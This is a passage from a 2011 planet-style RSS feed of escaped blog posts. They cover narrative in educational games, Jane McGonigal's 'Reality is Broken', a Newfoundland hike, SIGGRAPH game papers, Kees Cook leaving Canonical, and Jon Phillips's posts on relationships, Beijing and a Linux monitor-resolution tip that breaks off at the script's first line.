be narrowing in on what the role of narrative is in educational games.&amp;nbsp; Does story simply engage a game's learners, or is there something more going on there? What are the best ways to incorporate story effectively into an educational game? Can we create a tool that supports writers and designers in properly crafting stories for these sorts of games? Though I'm keeping it general for now, I'd like to ultimately focus on reality-based educational games (including augmented reality) and make use of the cognitive advantages research mentioned above.&lt;br /&gt;&lt;br /&gt;The taxonomy work &lt;a href=&quot;http://gailcarmichael.com/research/projects/narrativetaxonomy&quot;&gt;can be followed here&lt;/a&gt;, and future pages on my portfolio will be created as my journey continues.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-2760160325320449750?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-09-23T10:56:17+00:00</dc:date>
</item>
<item rdf:about="http://rejon.org/?p=2492">
	<title>Jon Phillips: Life is about relationships.</title>
	<link>http://rejon.org/2011/09/life-is-about-relationships/</link>
	<content:encoded>&lt;p&gt;&lt;a href=&quot;http://www.flickr.com/photos/notthe1s/6152092153/&quot; title=&quot;Jon Phillips (@rejon) &amp; Bassel Safadi (@basselsafadi) in Warsaw #ccsummit2011 by Eric Steuer, on Flickr&quot;&gt;&lt;img src=&quot;http://farm7.static.flickr.com/6199/6152092153_1b2c8c6b0d.jpg&quot; width=&quot;500&quot; height=&quot;500&quot; alt=&quot;Jon Phillips (@rejon) &amp; Bassel Safadi (@basselsafadi) in Warsaw #ccsummit2011&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Life is about relationships, increasing the quality of service to those relationships, and generating value to those people around you. If you have a successful growth cycle in the quality of a personal relationship, you continually rinse and repeat the process of improving the service provided to that person, and the relationship improves. &lt;/p&gt;
&lt;p&gt;All relationships must grow, or they die. The goal of service to people is to understand some problem one person has, and then provide solutions to that problem. If the person with the problem accepts the solution, some capital is exchanged. This is called business. It is also called friendship.&lt;/p&gt;
&lt;p&gt;I keep investing through dire situations until success. There is no fail fast. As long as I have breath, I will keep pushing through what I believe is right and trust my instincts.&lt;/p&gt;
&lt;p&gt;Share to earn.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://sharism.org/&quot;&gt;Sharism&lt;/a&gt;.&lt;/p&gt;</content:encoded>
	<dc:date>2011-09-21T11:49:11+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-5360391251340367510">
	<title>Gail Carmichael: Jane McGonigal: Reality is Broken</title>
	<link>http://compscigail.blogspot.com/2011/09/jane-mcgonigal-reality-is-broken.html</link>
	<content:encoded>Jane McGonigal thinks reality is broken.&amp;nbsp; Why else would so many of us escape it to play hours and hours of video games? But among all the media hype about the bad things games supposedly to do us, have you ever considered that games might actually make us better? (I bet readers here are on board with that idea!)&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-V9WgtHhsmGY/TnnstNa8aJI/AAAAAAAADSA/clgYToFEYew/s1600/RealityIsBroken_300dpi.jpg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://3.bp.blogspot.com/-V9WgtHhsmGY/TnnstNa8aJI/AAAAAAAADSA/clgYToFEYew/s320/RealityIsBroken_300dpi.jpg&quot; width=&quot;210&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;I finally got the chance to read Jane's wonderfully written book &lt;a href=&quot;http://www.amazon.com/Reality-Broken-Games-Better-Change/dp/1594202850/ref=sr_1_1?ie=UTF8&amp;qid=1316613350&amp;sr=8-1&quot;&gt;Reality is Broken: Why games make us better and how they can change the world&lt;/a&gt;.&amp;nbsp; The whole way through I felt excited and inspired.&amp;nbsp; If you've seen &lt;a href=&quot;http://compscigail.blogspot.com/2010/03/bringing-epic-win-to-real-life.html&quot;&gt;Jane's TED Talk&lt;/a&gt;, you'll have seen a summary of the main ideas behind this book.&amp;nbsp; However, the twenty minutes she has just doesn't do her ideas justice (it's easy to misunderstand the main point and pass it off as a bit kooky).&amp;nbsp; The book is (obviously) able to explain everything in much more detail, and provides many supporting research results and in-depth examples.&lt;br /&gt;&lt;br /&gt;The first part of the book sets up how games make us happy.&amp;nbsp; Jane's take on the four defining traits of a game — goals, rules, feedback systems, and voluntary participation — show up throughout the rest of the book, as do the four intrinsic rewards available to us in games: satisfying work, the experience or hope of being successful, social connection, and meaning in the sense of becoming part of something bigger than ourselves.&lt;br /&gt;&lt;br /&gt;Part two suggests that alternate reality games are a good way to use what we love about gaming to make our real lives better.&amp;nbsp; All the themes from the first part are applied again and again here, seemingly to great effect if you look at the success of the games outlined in these chapters.&amp;nbsp; Although it's not quite the same thing, my interest in augmented reality made this section particularly meaningful to me.&amp;nbsp; The work I've been doing lately on the cognitive benefits of AR has some overlap with the ideas here.&lt;br /&gt;&lt;br /&gt;Finally, in part three, things get epic.&amp;nbsp; Jane talks about the kinds of things that gamers are well prepared for, like collaborating with huge numbers of people and voluntarily tackling seemingly impossible tasks. She points out that gamers can and do use these abilities to make a difference in the real world, often through reality-based gaming contexts.&amp;nbsp; In a sense, this part is about gamification, but not in the badge-adding way that &lt;a href=&quot;http://www.bogost.com/blog/gamification_is_bullshit.shtml&quot;&gt;Ian Bogost often laments about&lt;/a&gt;.&amp;nbsp; It's about truly making life more &lt;a href=&quot;http://gameful.org/wiki/index.php/What_is_Gameful%3F&quot;&gt;gameful&lt;/a&gt; to improve our own lives and the lives of everyone around us.&lt;br /&gt;&lt;br /&gt;By the end of the book, I found myself wondering if Jane and &lt;a href=&quot;http://www.jamespaulgee.com/&quot;&gt;James Paul Gee&lt;/a&gt; have had a chance to collaborate yet.&amp;nbsp; The latter talks about how we can apply what is good in games to learning and education.&amp;nbsp; I would love to see what these two could come up with together (perhaps along with Ian Bogost, whom Jane mentions is a good friend in the book).&lt;br /&gt;&lt;br /&gt;In the meantime, I need to go check up on the &lt;a href=&quot;http://gameful.org/&quot;&gt;Gameful&lt;/a&gt; website Jane set up and see how all the others in my areas of interest (education! augmented reality!) are doing.&amp;nbsp; If you are into games for good, you should go sign up, too!&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-5360391251340367510?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-09-21T10:30:47+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-2639278353788772059">
	<title>Gail Carmichael: The Hardest Thing I've Ever Done</title>
	<link>http://compscigail.blogspot.com/2011/09/hardest-thing-ive-ever-done.html</link>
	<content:encoded>On our vacation to Canada's maritime provinces, my husband and I embarked on a four day journey which has since become known as The Hardest Thing We've Ever Done™.&amp;nbsp; We hiked the &lt;a href=&quot;http://www.pc.gc.ca/pn-np/nl/grosmorne/activ/activ2e.aspx#longrange&quot;&gt;Long Range Traverse&lt;/a&gt; in Gros Morne National Park, Newfoundland, complete with all our gear on our backs.&amp;nbsp; There were no marked trails and the terrain was difficult.&amp;nbsp; Many people thought we were crazy to do it, and that's before they realized I was pregnant!&lt;br /&gt;&lt;br /&gt;But let's face it. If I was able to get through this, then getting my PhD shouldn't be so bad.&amp;nbsp; I even learned a few tricks along the way to help me get past feeling my lowest.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-PltlnLMoptc/TnN_eYM9bxI/AAAAAAAADRw/amcWCMVAf1U/s1600/286894_865912533085_90411378_42481543_7796494_o.jpg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://3.bp.blogspot.com/-PltlnLMoptc/TnN_eYM9bxI/AAAAAAAADRw/amcWCMVAf1U/s320/286894_865912533085_90411378_42481543_7796494_o.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;The first day of the hike is by far the most gruelling.&amp;nbsp; In the picture above, we are at the top of a gorge.&amp;nbsp; In the far distance you can see water - that's the Western Brook Pond and where we started our journey.&amp;nbsp; Getting up here takes a lot of persistence and strength, particularly near the end.&amp;nbsp; The last upward bit takes you up the side of a waterfall where you basically have to climb rocks almost straight up.&amp;nbsp; One wrong move and I'm pretty sure you'd be seriously injured as you fell backwards.&lt;br /&gt;&lt;br /&gt;I was very tired in this last stretch, but I was able to find it in me to keep going.&amp;nbsp; Perhaps it's because I knew I had to - it's not like I was going to walk back to the beginning (assuming I even could)! So I kept going.&amp;nbsp; Slowly, granted, but never giving up.&amp;nbsp; I even had a Radiohead song playing in my head over and over: &quot;Try the best you can... the best you can is good enough...&quot;&lt;br /&gt;&lt;br /&gt;When we finally made it to the top, I wanted to collapse and cry.&amp;nbsp; We sat down for a minute but then had to go find a decent water source.&amp;nbsp; After deciding we were going to keep going to find a good campsite (we knew we wouldn't make it to the one we had intended to stay at), I looked back and saw the view everyone comes here for:&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-oXHvXavxT8s/TnOA8FtMTSI/AAAAAAAADR0/8cRZi_GXjFs/s1600/333966_865912558035_90411378_42481545_996183_o.jpg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://4.bp.blogspot.com/-oXHvXavxT8s/TnOA8FtMTSI/AAAAAAAADR0/8cRZi_GXjFs/s320/333966_865912558035_90411378_42481545_996183_o.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Despite utter exhaustion, I knew it would be worth snapping a quick photo before dragging myself away.&amp;nbsp; I'm really glad I did.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;I figure that just like getting out of the gorge, if I have to go a little slower to make it to the end of grad school, I've learned that not only is it ok, it's totally going to be worth it.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-CiMgPgdtDc8/TnOBicg2ZaI/AAAAAAAADR4/v_tjzC8Epes/s1600/330022_865914094955_90411378_42481594_6831709_o.jpg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://3.bp.blogspot.com/-CiMgPgdtDc8/TnOBicg2ZaI/AAAAAAAADR4/v_tjzC8Epes/s320/330022_865914094955_90411378_42481594_6831709_o.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;The rest of the trip was tough, but I never had a low point again.&amp;nbsp; I knew if I could make it this far, I could do the rest as well.&amp;nbsp; I may have also been a bit more mentally prepared for the difficulty of the journey than Andrew was - I think he found it more difficult than he expected.&amp;nbsp; (Which isn't to say he did awesome - he could have finished even sooner if it wasn't for me slowing us down.&amp;nbsp; But there were times he was getting pretty worried and I was able to keep our spirits up.)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Accepting the fact that the challenge will be great seems to be a really good way to set yourself up for success.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;When we finally got back in the three nights we had hoped to do the hike in (though we were prepared for four just in case), we showered and then collapsed.&amp;nbsp; The next morning, Andrew's parents, also visiting the area, presented us with these awesome t-shirts commemorating our accomplishment.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-Y-4o_VeAzHY/TnOCGuMHwtI/AAAAAAAADR8/DcXvX0tTy3c/s1600/340246_865914179785_90411378_42481599_7857508_o.jpg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://1.bp.blogspot.com/-Y-4o_VeAzHY/TnOCGuMHwtI/AAAAAAAADR8/DcXvX0tTy3c/s320/340246_865914179785_90411378_42481599_7857508_o.jpg&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;Whether it's a shirt, a degree, or just a really good story to tell, doing something difficult in your life makes it feel like you've really lived.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;If you'd like to see the rest of our photos along with commentary, you can do so on this &lt;a href=&quot;https://www.facebook.com/media/set/?set=a.865911849455.2332272.90411378&amp;l=7a9034e402&amp;type=1&quot;&gt;public Facebook album&lt;/a&gt;.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-2639278353788772059?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-09-19T08:52:00+00:00</dc:date>
</item>
<item rdf:about="http://www.outflux.net/blog/?p=511">
	<title>Kees Cook: 5 years with Canonical</title>
	<link>http://www.outflux.net/blog/archives/2011/09/12/5-years-with-canonical/</link>
	<content:encoded>&lt;p&gt;This month, I will have been with Canonical for 5 years. It&amp;#8217;s been fantastic, but I&amp;#8217;ve decided to move on. Next week, I&amp;#8217;m going to start working for Google, helping out with ChromeOS, which I&amp;#8217;m pretty excited about. I&amp;#8217;m sad to be leaving Canonical, but I comfort myself by knowing that I&amp;#8217;m not leaving Ubuntu or any other projects I&amp;#8217;m involved in. I believe in Ubuntu, I use it everywhere, and I&amp;#8217;m friends with so many of its people. And I&amp;#8217;m still core-dev, so I&amp;#8217;ll continue to break^Wsecure things as much as I can in Ubuntu, and continue working on getting similar stuff into Debian. :)&lt;/p&gt;
&lt;p&gt;For nostalgic purposes, I dug up my first &lt;a href=&quot;https://launchpad.net/ubuntu/+source/krb5/1.4.3-5ubuntu0.1&quot;&gt;security update&lt;/a&gt; (sponsored by pitti), and my first &lt;a href=&quot;https://lists.ubuntu.com/archives/ubuntu-security-announce/2006-October/000413.html&quot;&gt;Ubuntu Security Notice&lt;/a&gt;. I&amp;#8217;m proud of Ubuntu&amp;#8217;s strong security record and &lt;a href=&quot;https://wiki.ubuntu.com/Security/Features/Historical&quot;&gt;how far the security feature list has come&lt;/a&gt;. The Ubuntu Security Team is an awesome group of people, and I&amp;#8217;m honored to have worked with them.&lt;/p&gt;
&lt;p&gt;I&amp;#8217;m looking forward to the new adventures, but I will miss the previous ones.&lt;/p&gt;
&lt;p&gt;&amp;copy; 2011, &lt;a href=&quot;http://www.outflux.net/blog/&quot;&gt;Kees Cook&lt;/a&gt;. This work is licensed under a &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-sa/3.0/us/&quot;&gt;Creative Commons Attribution-ShareAlike 3.0 License&lt;/a&gt;.&lt;br /&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-sa/3.0/us/&quot;&gt;&lt;img alt=&quot;Creative Commons License&quot; src=&quot;http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png&quot; /&gt;&lt;/a&gt; &lt;/p&gt;</content:encoded>
	<dc:date>2011-09-12T17:58:04+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-7325828611686354361">
	<title>Gail Carmichael: Game Papers at SIGGRAPH 2011 (Part 2 of 2)</title>
	<link>http://compscigail.blogspot.com/2011/09/game-papers-at-siggraph-2011-part-2-of.html</link>
	<content:encoded>A &lt;a href=&quot;http://compscigail.blogspot.com/2011/09/game-papers-at-siggraph-2011-part-1-of.html&quot;&gt;previous post&lt;/a&gt; talked about two game paper presentations I saw at SIGGRAPH 2011.&amp;nbsp; Here is part two with a summary of the second two talks.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;span&gt;&lt;b&gt;Evaluating gesture-based games with older adults on a large screen display&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;[&lt;a href=&quot;http://dl.acm.org/citation.cfm?id=2018560&quot;&gt;ACM Digital Library&lt;/a&gt;]&lt;br /&gt;&lt;br /&gt;The theme for this talk was the usability, acceptability, and applicability of gesture-based games among healthy older adults.&amp;nbsp; The presenter said that some of the issues with previous work in the area of cognitive training, rehab and exergaming include small study samples, issues with control groups, and the fact that evaluations were done with existing games and systems.&amp;nbsp; The authors' work presumably addresses one or more of these.&lt;br /&gt;&lt;br /&gt;The presentation reported on results of experiments done with games the authors created specifically for this purpose using a large projection screen, infrared source and camera, and blob detection.&amp;nbsp; Physical props are sometimes included as well.&amp;nbsp; Three games were created: virtual soccer, mosquito invasion, and human Tetris.&amp;nbsp; The subjects used to test these games were aged 55-75 and in good health.&lt;br /&gt;&lt;br /&gt;The general results after testing the game with a series of questionnaires and practice / gameplay sessions are as follows:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;users were tech-savvy and physically active&lt;/li&gt;&lt;li&gt;there was a particularly positive correlation between physical engagement and social interaction for all games&lt;/li&gt;&lt;li&gt;virtual soccer: strenuous and physically challenging&lt;/li&gt;&lt;li&gt;mosquito invasion: intuitive and practical&lt;/li&gt;&lt;li&gt;ranked highest: wanting to be mentally and physically challenging&lt;/li&gt;&lt;li&gt;ranked lowest: having a partner to play with or having hands-free interaction&lt;/li&gt;&lt;li&gt;everyone was highly competitive, but there was a varying degree of physicality&lt;/li&gt;&lt;li&gt;occlusion and usability issues were a concern&lt;/li&gt;&lt;/ul&gt;The main conclusions were that there is a need for more complex gameplay and a general need for both physical and cognitive engagement among this demographic.&lt;br /&gt;&lt;br /&gt;My thoughts on this talk were that the games did seem a little too simple to be of much interest for long, as many research-based games tend to be.&amp;nbsp; I understand wanting to control certain factors to answer specific questions, but I do wonder how much more beneficial it is to create these sorts of games instead of studying existing commercial games.&amp;nbsp; I am happy to see that there is a focus on older adults though, and hope that they continue to improve games for this audience so they are more refined by the time I get to that age myself.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;span&gt;&lt;b&gt;The Impact of Negative Game Reviews and User Comments on Player Experience&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;[&lt;a href=&quot;http://dl.acm.org/citation.cfm?id=2018561&amp;bnc=1&quot;&gt;ACM Digital Library&lt;/a&gt;][&lt;a href=&quot;http://hci.usask.ca/uploads/221-p25-livingston.pdf&quot;&gt;Direct PDF&lt;/a&gt;]&lt;br /&gt;&lt;br /&gt;This presentation was, by far, my favourite of the conference.&amp;nbsp; Granted, I actually didn't see as many talks as I could have, but honestly, most of what I saw was status quo at best (I'm pretty picky about &lt;a href=&quot;http://compscigail.blogspot.com/2011/02/communication-and-presentation-skills.html&quot;&gt;presentation standards&lt;/a&gt; and am always trying to push people to take their abilities a step further).&lt;br /&gt;&lt;br /&gt;The thing that this presenter did so well was remember the difference between oral and written communication, telling a story about his work that differed from the structure of a traditional paper.&amp;nbsp; The slides had almost no text, and the graphs were highlighted in just the right way to emphasize the point being made at the time.&amp;nbsp; Kudos to &lt;a href=&quot;http://www.ianlivingston.ca/&quot;&gt;Ian Livingston&lt;/a&gt;!&lt;br /&gt;&lt;br /&gt;Of course, in addition to being a good talk, it helps that the content was interesting.&amp;nbsp; The main research question was whether someone's opinion of a game would be (sub-consciously) affected by a negative review they had read about the game.&amp;nbsp; For instance, &lt;a href=&quot;http://en.wikipedia.org/wiki/Duke_Nukem_Forever&quot;&gt;Duke Nukem Forever&lt;/a&gt; hasn't exactly scored very well among critics - would my enjoyment of the game be decreased if I knew that going in?&lt;br /&gt;&lt;br /&gt;As it turns out, it probably would be!&lt;br /&gt;&lt;br /&gt;The study conducted to prove this involved only the text (no scores) from several reviews of existing games that few people would have heard of.&amp;nbsp; The texts that players read first were either positive or negative as determined by an emotional analysis tool, or unrelated to the game.&amp;nbsp; Players then played the game and were asked to rate it with a score of 0-100.&amp;nbsp; They were also asked to rate their mood on a scale of 1-5 to see if that affected the results at all.&lt;br /&gt;&lt;br /&gt;The findings:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;the tone of the review text &lt;i&gt;does&lt;/i&gt; affect player experience&lt;/li&gt;&lt;li&gt;when negative review text related to the game, the perception of that game &lt;i&gt;did&lt;/i&gt; change, whereas control text (unrelated to the game) had no effect, nor did the positive text&lt;/li&gt;&lt;li&gt;no significant difference between reviews and user comments, so no real difference in terms of the authority of the author&lt;/li&gt;&lt;li&gt;the differences in game enjoyment cannot be explained by differences in mood (the mood ratings had no effect)&lt;/li&gt;&lt;/ul&gt;While this research isn't really related to anything I'm working on, the results were interesting and the presentation made me happy.&amp;nbsp; This will be the one I remember the longest.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-7325828611686354361?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-09-09T17:12:52+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-6876814588554883930">
	<title>Gail Carmichael: Techniques for Telling Nonlinear Stories</title>
	<link>http://compscigail.blogspot.com/2011/09/techniques-for-telling-nonlinear.html</link>
	<content:encoded>At the beginning of October, I'll be participating in a digital narrative workshop for the &lt;a href=&quot;http://www.grand-nce.ca/&quot;&gt;GRAND NCE&lt;/a&gt; called 'Experiencing Stories with/in Digital Games.'  The following abstract describes a round table talk I'll be giving as part of the student gathering:&lt;br /&gt;&lt;blockquote&gt;Non-linear fiction ranges from the use of static plots with events presented in a non-chronological way to interactive story worlds where users make choices that affect the outcome of the story. A wide range of media can be used to implement works of non-linear fiction, including novels, film, storytelling engines, and games. In all of these cases, there are multiple techniques available for designing and telling a non-linear story.&lt;br /&gt;&lt;br /&gt;We have compiled a taxonomy for these techniques with broad categories for strategies for explaining non-linearity, structuring stories as graphs, relying on emergent behaviour, creating character driven plots, and designing data-driven interactive worlds. Each of these categories breaks down further with classic examples from all types of media and with approaches reported on in academic literature. For instance, a strategy to explain a story’s non-linearity is to attribute it to time travel (The Legend of Zelda: Orcarina of Time) or to a hallucinating or brain-damaged character (Memento). Many examples use a simple branching structure to change the story based on player choices (Choose Your Own Adventure) while others rely on game data to adjust how other characters in the story react to you (Fallout 3).&lt;br /&gt;&lt;br /&gt;In this talk, we will present our taxonomy and frame it in the context of story in games. We will discuss what techniques have been used in existing games, and which have not yet been employed. We will consider why games have not used certain techniques, and use this to suggest how they might do so in the future.&lt;/blockquote&gt;I'm currently hammering out a potential thesis research plan for myself, and this work will contribute toward that.&amp;nbsp; I'm really enjoying this whole narrative thread I've embarked on this past summer. &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-6876814588554883930?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-09-05T16:22:01+00:00</dc:date>
</item>
<item rdf:about="http://rejon.org/?p=2487">
	<title>Jon Phillips: 我是王力中。And, I live in Beijing.</title>
	<link>http://rejon.org/2011/08/%e6%88%91%e6%98%af%e7%8e%8b%e5%8a%9b%e4%b8%ad-and-i-live-in-beijing/</link>
	<content:encoded>&lt;p&gt;&lt;a href=&quot;http://www.flickr.com/photos/jonphillips/6078773078/&quot; title=&quot;beijing traffic by rejon, on Flickr&quot;&gt;&lt;img src=&quot;http://farm7.static.flickr.com/6065/6078773078_91c58918f5.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; alt=&quot;beijing traffic&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.flickr.com/photos/jonphillips/6078776262/&quot; title=&quot;beijing bamboo walkways and dog pyschology by rejon, on Flickr&quot;&gt;&lt;img src=&quot;http://farm7.static.flickr.com/6073/6078776262_3b11c15112.jpg&quot; width=&quot;375&quot; height=&quot;500&quot; alt=&quot;beijing bamboo walkways and dog pyschology&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.flickr.com/photos/jonphillips/6077841401/&quot; title=&quot;free of charge by rejon, on Flickr&quot;&gt;&lt;img src=&quot;http://farm7.static.flickr.com/6083/6077841401_be66fd5733.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; alt=&quot;free of charge&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.flickr.com/photos/jonphillips/6077850035/&quot; title=&quot;i love dazhong services by rejon, on Flickr&quot;&gt;&lt;img src=&quot;http://farm7.static.flickr.com/6205/6077850035_a3f09e753b.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; alt=&quot;i love dazhong services&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.flickr.com/photos/jonphillips/6078383794/&quot; title=&quot;whoa suning in china is into @sharism by rejon, on Flickr&quot;&gt;&lt;img src=&quot;http://farm7.static.flickr.com/6199/6078383794_cfe3d3749b.jpg&quot; width=&quot;375&quot; height=&quot;500&quot; alt=&quot;whoa suning in china is into @sharism&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.flickr.com/photos/jonphillips/6078233415/&quot; title=&quot;beijing building continues by rejon, on Flickr&quot;&gt;&lt;img src=&quot;http://farm7.static.flickr.com/6079/6078233415_282450496b.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; alt=&quot;beijing building continues&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.flickr.com/photos/jonphillips/6068562347/&quot; title=&quot;What time is it? @christopheradam @fabricatorz @pianobrad @barrythrew @globsterlitter by rejon, on Flickr&quot;&gt;&lt;img src=&quot;http://farm7.static.flickr.com/6068/6068562347_4b3dfae123.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; alt=&quot;What time is it? @christopheradam @fabricatorz @pianobrad @barrythrew @globsterlitter&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.flickr.com/photos/jonphillips/5966262314/&quot; title=&quot;fm3 buddhamachine at @christopheradam place by rejon, on Flickr&quot;&gt;&lt;img src=&quot;http://farm7.static.flickr.com/6016/5966262314_fd46471691.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; alt=&quot;fm3 buddhamachine at @christopheradam place&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.flickr.com/photos/jonphillips/6068497949/&quot; title=&quot;white beer and dev berlin style with @christopheradam but we in Taipei by rejon, on Flickr&quot;&gt;&lt;img src=&quot;http://farm7.static.flickr.com/6210/6068497949_b5b490df17.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; alt=&quot;white beer and dev berlin style with @christopheradam but we in Taipei&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://rejon.org/bio&quot;&gt;Jon Phillips&lt;/a&gt;王力中是Fabricatorz有限责任公司的发起人和开发人员。Fabricatorz是一个全球性的创意产业制作公司，主要致力于创新和商业项目，主要分支机构设在旧金山和北京，客户则包括谷歌、火狐浏览器（谋职网络）、知识共享Creative Commons、现代传播和F2画廊。2010年王力中和Bassel Safadi在新加坡创办了Aiki Lab品牌。Aiki Lab既是骇客空间又是文化中心，位于大马士革。Aiki Framework则是开源的网络软件。此外，Jon Phillips王力中还曾于2002年启动了开源的绘画工具Inkscape，以及于2004年成立了Open Clip Art Library。他曾在旧金山艺术学院教授设计与科技，也于2005至2008年为知识共享Creative Commons建立社群并任商业发展策略专员，并任Status.Net (Identi.ca)的社群总监。2009年他将工作重心转移至中国，与Wolfgang Spraul一起建立了开源的硬件产品Qi气硬件，与艺术家Matt Hope一起建立了LaoBan老板牌音响系统，与Isaac Mao毛向辉和李昕Christopher Adams一起共同运营”分享主义Sharism“项目。&lt;/p&gt;</content:encoded>
	<dc:date>2011-08-25T04:11:41+00:00</dc:date>
</item>
<item rdf:about="http://rejon.org/?p=2485">
	<title>Jon Phillips: Tip: Fix Resolution on AOC2216Vw on Linux</title>
	<link>http://rejon.org/2011/08/tip-fix-resolution-on-aoc2216vw-on-linux/</link>
	<content:encoded>&lt;p&gt;Yes, that&amp;#8217;s right, sometimes things aren&amp;#8217;t that easy when you use an operating system that has an unspoken goal of being a virtualized software interface to ALL HARDWARE. This is part of the reason why Linux long term will be used for stability on servers, but will be rotated out on embedded devices that compete in terms of optimization and not needing the same insane goal of supporting hardware all the way back to hardware that worked in 70s and 80s.&lt;/p&gt;
&lt;p&gt;Anyway, I stop now, if you have a problem with a monitor like the 23&amp;#8243; AOC2216Vw, you can create a script like this one I called, fixaoclcd:&lt;/p&gt;
&lt;pre&gt;
#!/bin/sh
#
